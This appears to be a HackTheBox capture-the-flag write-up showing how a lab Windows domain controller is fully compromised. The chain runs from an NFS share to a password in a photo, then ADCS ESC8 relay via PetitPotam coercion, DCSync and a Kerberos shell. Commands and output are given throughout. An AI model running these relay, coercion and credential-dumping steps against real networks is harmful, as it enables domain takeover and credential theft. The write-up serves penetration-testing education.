VulnCicada — ADCS ESC8 relay via PetitPotam coercion to Domain Admin
Introduction
VulnCicada is a Medium-rated Windows Active Directory machine on HackTheBox that chains together three distinct concepts: NFS-based OSINT, Kerberos-only environments (NTLM fully disabled), and ADCS ESC8 exploitation via coercion and relay.
What makes this machine particularly interesting for beginners is how it forces you to adapt your standard AD toolkit. Every tool you’d normally reach for — CrackMapExec with password spray, evil-winrm, wmiexec with pass-the-hash — fails silently when NTLM is off. Learning to pivot to Kerberos-native workflows is a real-world skill that’s increasingly relevant as organizations harden their environments.
The credential discovery method is also unconventional: no password spray, no AS-REP roasting. The password is literally in a photo.
Attack Chain Summary
Nmap (NFS on 2049, HTTP on 80, ADCS implied)
└─► NFS mount /profiles → user home directories
└─► marketing.png → post-it note: Rosie.Powell:Cicada123
└─► Kerberos auth (NTLM disabled, -k required everywhere)
└─► SMB shares → CertEnroll visible → ADCS present
└─► certipy ESC8 → Web Enrollment over HTTP
└─► bloodyAD DNS + PetitPotam coercion
└─► certipy relay → dc-jpq225.pfx
└─► certipy auth → DC$ hash
└─► secretsdump → Administrator hash
└─► getTGT + wmiexec -k → SYSTEMReconnaissance
nmap -sV -sC -oA nmap/vulncicada 10.129.26.72The -sV flag enables service version detection, and -sC runs default scripts. -oA saves output in all formats (normal, XML, grepable) for later reference.
Key ports from the scan:
| Port | Service | Significance |
|---|---|---|
| 53 | DNS | Domain Controller confirmed |
| 80 | HTTP (IIS 10.0) | Web server — potential ADCS web enrollment |
| 88 | Kerberos | Authentication service for the domain |
| 111 / 2049 | RPC / NFS | Network File System exposed — uncommon, investigate |
| 389 / 636 | LDAP / LDAPS | Domain: cicada.vl, DC: DC-JPQ225 |
| 445 | SMB | File shares |
| 3268 | Global Catalog | AD forest-wide LDAP |
| 3389 | RDP | Remote Desktop |
The presence of port 2049 (NFS) on a Windows DC is unusual. NFS is typically a Unix/Linux protocol and its exposure here is a strong hint that it contains something worth examining. Port 80 on a DC often means ADCS web enrollment — file that away.
The domain is cicada.vl and the DC hostname is DC-JPQ225. Add both to /etc/hosts:
echo "10.129.26.72 cicada.vl DC-JPQ225.cicada.vl" | sudo tee -a /etc/hostsEnumeration
SMB — Anonymous access blocked
The first instinct is always to try SMB without credentials:
netexec smb 10.129.26.72 -u '' -p '' --sharesSMB 10.129.26.72 445 DC-JPQ225 [*] x64 (name:DC-JPQ225) (domain:cicada.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB 10.129.26.72 445 DC-JPQ225 [-] cicada.vl\: STATUS_NOT_SUPPORTEDThe critical detail here is (NTLM:False). This means the server has disabled NTLM authentication entirely. This is a hardening measure — the DC only accepts Kerberos. Every tool that relies on NTLM under the hood (default behavior of evil-winrm, rpcclient, most CrackMapExec modules) will fail with STATUS_NOT_SUPPORTED.
We’ll come back to this once we have credentials. For now, move on.
NFS — User profiles exposed
showmount -e 10.129.26.72Export list for 10.129.26.72:
/profiles (everyone)The /profiles share is mounted with everyone permissions — no credentials required. Mount it:
sudo mkdir /mnt/nfs
sudo mount -t nfs 10.129.26.72:/profiles /mnt/nfs/
ls /mnt/nfs/Administrator Debra.Wright Jordan.Francis Katie.Ward Richard.Gibbons Shirley.West
Daniel.Marshall Jane.Carter Joyce.Andrews Megan.Simpson Rosie.PowellThese are Windows user profile directories. Let’s see what’s accessible:
tree /mnt/nfs//mnt/nfs/
├── Administrator
│ ├── Documents [error opening dir]
│ └── vacation.png
├── Rosie.Powell
│ ├── Documents [error opening dir]
│ └── marketing.png
└── [other users — empty directories]Two images are readable. Copy them for analysis:
cp /mnt/nfs/Administrator/vacation.png .
cp /mnt/nfs/Rosie.Powell/marketing.png .
file marketing.png vacation.pngmarketing.png: PNG image data, 1024 x 1024, 8-bit/color RGB, non-interlaced
vacation.png: PNG image data, 1024 x 1024, 8-bit/color RGB, non-interlacedAlso extract the list of usernames from the NFS directories for later use:
ls -1 /mnt/nfs/ > users.txtInitial Access
Image OSINT — Password in plain sight
Opening vacation.png: a person paragliding on holiday. Nothing interesting.
Opening marketing.png: Rosie Powell at her desk — and there’s a post-it note visible next to her monitor with the text Cicada123.
This is intentional OSINT. The credential is: Rosie.Powell:Cicada123.
Validating credentials with Kerberos
Because NTLM is disabled, we need to add the -k flag (Kerberos authentication) to all tools. We also need to sync our clock with the DC — Kerberos requires clocks to be within 5 minutes of each other:
sudo ntpdate -u 10.129.26.72Now validate the credentials:
crackmapexec smb DC-JPQ225.cicada.vl -k -u Rosie.Powell -p Cicada123SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 [+] cicada.vl\Rosie.Powell:Cicada123The [+] confirms valid credentials. Now enumerate shares:
crackmapexec smb DC-JPQ225.cicada.vl -k -u Rosie.Powell -p Cicada123 --sharesShare Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
CertEnroll READ Active Directory Certificate Services share
IPC$ READ Remote IPC
NETLOGON READ Logon server share
profiles$ READ,WRITE
SYSVOL READ Logon server shareThe CertEnroll share is a dead giveaway: Active Directory Certificate Services (ADCS) is installed and running. ADCS manages digital certificates in the domain and is notorious for misconfigurations that lead to privilege escalation.
ADCS Enumeration
ADCS has 8 documented escalation paths (ESC1–ESC8), catalogued in the Certified Pre-Owned research by SpecterOps. We use certipy-ad to enumerate them:
certipy-ad find -u Rosie.Powell@cicada.vl -p Cicada123 -target DC-JPQ225.cicada.vl -k -vulnerable -stdoutNote: If certipy has dependency conflicts with your system Python, isolate it in a virtual environment:
python3 -m venv vuln_venv && source vuln_venv/bin/activate && pip install certipy-ad
Output (relevant portion):
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTP.What is ESC8?
ESC8 is an NTLM relay attack targeting the ADCS HTTP Web Enrollment endpoint (/certsrv/).
The attack works as follows:
- You force a machine (ideally the DC itself) to authenticate to your attacker machine using NTLM
- You relay that NTLM authentication to the ADCS web enrollment interface
- ADCS accepts the relayed authentication and issues a certificate in the name of the coerced machine
- You use that certificate to authenticate as the machine account (e.g.,
DC-JPQ225$) and retrieve its NT hash - With the DC machine account hash, you can perform a DCSync attack and dump all domain credentials
The reason this works: the /certsrv/ endpoint accepts NTLM relay by default when running over plain HTTP (not HTTPS). HTTPS with EPA (Extended Protection for Authentication) would prevent relay.
Exploitation — ESC8 Relay via PetitPotam
The attack requires four coordinated steps. Open multiple terminal windows.
Step 1 — Add a DNS record pointing to your attacker IP
The coercion will need the DC to reach back to us via a hostname. We add a fake DNS record to the domain using bloodyAD, which supports Kerberos authentication:
bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl \
add dnsRecord ATTACKER-HOST 10.10.15.86Replace
10.10.15.86with your HTB VPN IP (tun0interface:ip a show tun0).
Step 2 — Start the certipy relay listener
In a dedicated terminal, start certipy relay. This sets up an SMB server on port 445 that captures incoming NTLM auth and relays it to ADCS:
certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainControllerThe -template DomainController specifies which certificate template to request on behalf of the coerced machine. Domain Controllers are enrolled in this template by default.
Step 3 — Trigger PetitPotam coercion
PetitPotam is a technique that abuses the EFSRPC (Encrypting File System Remote Protocol) to force a Windows machine to authenticate to an arbitrary host. We use nxc with the coerce_plus module:
nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k \
-M coerce_plus -o LISTENER=ATTACKER-HOST METHOD=PetitPotamCOERCE_PLUS DC-JPQ225.cicada.vl 445 DC-JPQ225 VULNERABLE, PetitPotam
COERCE_PLUS DC-JPQ225.cicada.vl 445 DC-JPQ225 Exploit Success, efsrpc\EfsRpcAddUsersToFileStep 4 — Collect the certificate
In the certipy relay terminal, you’ll see:
[*] (SMB): Received connection from 10.129.234.48, attacking target http://dc-jpq225.cicada.vl
[*] HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
[*] (SMB): Authenticating connection from /@10.129.234.48 against http://dc-jpq225.cicada.vl SUCCEED [1]
[*] Requesting certificate for '\\' based on the template 'DomainController'
[*] Certificate issued with request ID 91
[*] Got certificate with DNS Host Name 'DC-JPQ225.cicada.vl'
[*] Saving certificate and private key to 'dc-jpq225.pfx'The DC authenticated to our fake SMB server. We relayed that authentication to ADCS. ADCS issued a certificate for DC-JPQ225$. We now have dc-jpq225.pfx.
Post-Exploitation — From Certificate to Domain Admin
Authenticate as DC$ and get NT hash
certipy auth -pfx dc-jpq225.pfx -dc-ip 10.129.234.48[*] Using principal: 'dc-jpq225$@cicada.vl'
[*] Got TGT
[*] Saved credential cache to 'dc-jpq225.ccache'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404eeaad3b435b51404ee:a65952c664e9cf5de60195626edbeee3certipy auth uses the certificate to perform PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). The DC issues a TGT for DC-JPQ225$ and returns the machine account’s NT hash via the U2U (User-to-User) mechanism.
DCSync — Dump the Administrator hash
Set the credential cache and use impacket-secretsdump with the DC machine account to perform a DCSync attack. DCSync mimics a legitimate domain replication request, asking the DC to “sync” the Administrator password hash:
export KRB5CCNAME=dc-jpq225.ccache
impacket-secretsdump -k -no-pass -just-dc-user administrator \
cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f9181ec2240a0d172816f3b5a185b6e3e0ba773eae2c93a581d9415347153e1aWe have the Administrator NT hash: 85a0da53871a9d56b6cd05deda3a5e87.
Getting a shell — Kerberos only, no NTLM
Standard pass-the-hash tools fail because NTLM is disabled:
# FAILS — NTLM disabled
evil-winrm -i 10.129.234.48 -u administrator -H 85a0da53871a9d56b6cd05deda3a5e87
impacket-wmiexec -hashes :85a0da53871a9d56b6cd05deda3a5e87 cicada.vl/administrator@10.129.234.48The solution: convert the NT hash into a Kerberos TGT using impacket-getTGT, then use Kerberos-native execution:
impacket-getTGT -hashes :85a0da53871a9d56b6cd05deda3a5e87 cicada.vl/administrator
export KRB5CCNAME=administrator.ccache
impacket-wmiexec -k -no-pass cicada.vl/administrator@dc-jpq225.cicada.vl[*] SMBv3.0 dialect used
C:\>whoami
cicada\administratorFull domain compromise achieved.
Flags
User flag : [redacted]
Root flag : [redacted]Flags are located on the Administrator Desktop (C:\Users\Administrator\Desktop\root.txt) and a standard user’s Desktop.
Key Takeaways
-
NTLM disabled ≠ more secure by default — Kerberos is not immune to relay/coercion attacks. ESC8 works perfectly in NTLM-disabled environments because the relay happens at the HTTP/Kerberos layer via PKINIT, not NTLM.
-
NFS on Windows is a foothold signal — seeing port 2049 on a Windows DC should immediately trigger investigation. User profile shares exposed over NFS often contain sensitive files.
-
OSINT applies to internal pentests — credentials don’t always come from technical exploitation. A post-it in a photo on a network share is a valid finding in real engagements.
-
ADCS
CertEnrollshare = ADCS installed — always runcertipy-ad find -vulnerablewhen you see this share. ADCS misconfigurations (ESC1–ESC8) are among the most impactful privilege escalation vectors in modern AD environments. -
KRB5CCNAMEis your best friend in Kerberos environments — understanding how to pass credential caches between Impacket tools (secretsdump,wmiexec,getTGT) via this environment variable is essential for Kerberos-only environments.
Resources
- Certipy by Oliver Lyak (ly4k) — the tool used throughout this writeup for ADCS enumeration, relay, and authentication
- Certified Pre-Owned — SpecterOps — the original research defining ESC1–ESC8
- ADCS ESC8 deep dive — Vaadata
- ESC8 exploitation guide — Avertium
- PetitPotam — NTLM coercion via EFSRPC
- bloodyAD — Kerberos-native AD Swiss army knife